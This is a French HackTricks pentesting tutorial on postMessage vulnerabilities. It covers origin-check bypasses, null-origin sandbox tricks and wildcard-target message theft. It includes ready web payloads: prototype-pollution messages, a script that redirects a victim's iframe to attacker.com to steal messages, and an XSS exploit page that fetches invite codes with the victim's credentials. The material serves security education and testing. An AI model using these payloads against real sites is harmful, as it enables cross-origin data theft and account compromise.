14 KiB
Vulnérabilités PostMessage
Vulnérabilités PostMessage
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Envoyer un PostMessage
PostMessage utilise la fonction suivante pour envoyer un message :
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Notez que targetOrigin peut être un '*' ou une URL comme https://company.com.
Dans le deuxième scénario, le message ne peut être envoyé qu'à ce domaine (même si l'origine de l'objet fenêtre est différente).
Si le joker est utilisé, les messages pourraient être envoyés à n'importe quel domaine, et seront envoyés à l'origine de l'objet Window.
Attaque de l'iframe et du joker dans targetOrigin
Comme expliqué dans ce rapport, si vous trouvez une page qui peut être iframée (sans protection X-Frame-Header
) et qui envoie des messages sensibles via postMessage en utilisant un joker (*), vous pouvez modifier l'origine de l'iframe et fuir le message sensible vers un domaine contrôlé par vous.
Notez que si la page peut être iframée mais que le targetOrigin est défini sur une URL et non sur un joker, cette astuce ne fonctionnera pas.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Exploitation de addEventListener
addEventListener
est la fonction utilisée par JS pour déclarer la fonction qui attend les postMessages
.
Un code similaire à celui-ci sera utilisé :
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Notez dans ce cas comment la première chose que le code fait est de vérifier l'origine. C'est terriblement important, surtout si la page va faire quelque chose de sensible avec les informations reçues (comme changer un mot de passe). Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points d'extrémité et changer les mots de passe des victimes (dans cet exemple).
Énumération
Afin de trouver des écouteurs d'événements sur la page actuelle, vous pouvez :
- Rechercher le code JS pour
window.addEventListener
et$(window).on
(version JQuery) - Exécuter dans la console des outils de développement :
getEventListeners(window)
- Aller à Elements --> Event Listeners dans les outils de développement du navigateur
- Utilisez une extension de navigateur comme https://github.com/benso-io/posta ou https://github.com/fransr/postMessage-tracker. Ces extensions de navigateur intercepteront tous les messages et vous les montreront.
Bypass de base de vérification d'origine
- Si
indexOf()
est utilisé pour vérifier l'origine de l'événement PostMessage, rappelez-vous qu'il peut être facilement contourné comme dans l'exemple suivant :("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
\ - Si
search()
est utilisé pour valider l'origine, cela peut être insécurisé. Selon la documentation deString.prototype.search()
, la méthode prend un objet d'expression régulière au lieu d'une chaîne. Si autre chose qu'une expression régulière est passé, il sera implicitement converti en une expression régulière.
Dans une expression régulière, un point (.) est traité comme un caractère générique. Un attaquant peut en profiter et utiliser un domaine spécial au lieu de celui officiel pour contourner la validation, comme dans :"https://www.safedomain.com".search("www.s.fedomain.com")
.\ - Si la fonction
escapeHtml
est utilisée, la fonction ne crée pas un nouvel objet échappé, mais elle écrase les propriétés de l'objet existant. Cela signifie que si nous sommes capables de créer un objet avec une propriété contrôlée qui ne répond pas àhasOwnProperty
, elle ne sera pas échappée.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
L'objet File
est parfait pour cette exploitation car il possède une propriété en lecture seule name
qui est utilisée par notre modèle et contournera la fonction escapeHtml
.
Contournement de e.origin == window.origin
Lorsqu'une page est intégrée dans une iframe sandboxée via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
, l'origine de cette iframe sera null
.
Lorsque la valeur de sandbox allow-popups
est définie, la popup ouverte héritera de tous les attributs sandboxés sauf si allow-popups-to-escape-sandbox
est défini.
Ainsi, l'ouverture d'une popup à partir d'une origine nulle rendra également window.origin
à l'intérieur de la popup null
.
Par conséquent, si vous ouvrez une iframe sandboxée autorisant les popups, puis vous ouvrez une popup à partir de l'intérieur de l'iframe, et envoyez un message de l'iframe à la popup, les deux origines sont nulles, donc: e.origin == window.origin == null
Pour plus d'informations, lisez:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Contournement de e.source
Vous pouvez forcer e.source
d'un message à être nul en créant une iframe qui envoie le postMessage et est immédiatement supprimée.
Pour plus d'informations, lisez:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Contournement de l'en-tête X-Frame
Pour effectuer ces attaques, vous pourrez idéalement mettre la page web victime à l'intérieur d'un iframe
. Mais certains en-têtes comme X-Frame-Header
peuvent empêcher ce comportement.
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins furtive. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Vol de message envoyé à un enfant en bloquant la page principale
Sur la page suivante, vous pouvez voir comment vous pourriez voler des données sensibles envoyées par postmessage à un iframe enfant en bloquant la page principale avant d'envoyer les données et en exploitant un XSS dans l'enfant pour fuir les données avant qu'elles ne soient reçues :
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Vol de message en modifiant l'emplacement de l'iframe
Si vous pouvez inclure une page web sans en-tête X-Frame qui contient un autre iframe, vous pouvez changer l'emplacement de cet iframe enfant, donc si elle reçoit un postmessage envoyé en utilisant un joker, un attaquant pourrait changer l'origine de cet iframe vers une page contrôlée par lui et voler le message :
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage vers la pollution de prototype et/ou XSS
Dans les scénarios où les données envoyées via postMessage
sont exécutées par JS, vous pouvez inclure la page et exploiter la pollution de prototype/XSS en envoyant l'exploit via postMessage
.
Un couple de XSS très bien expliqués via postMessage
peuvent être trouvés dans https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Exemple d'une exploitation pour abuser de la pollution de prototype et ensuite XSS via un postMessage
à un iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Pour plus d'informations :
- Lien vers la page sur la pollution de prototype
- Lien vers la page sur le XSS
- Lien vers la page sur la pollution de prototype côté client vers XSS
Références
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Pour pratiquer : https://github.com/yavolo/eventlistener-xss-recon
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.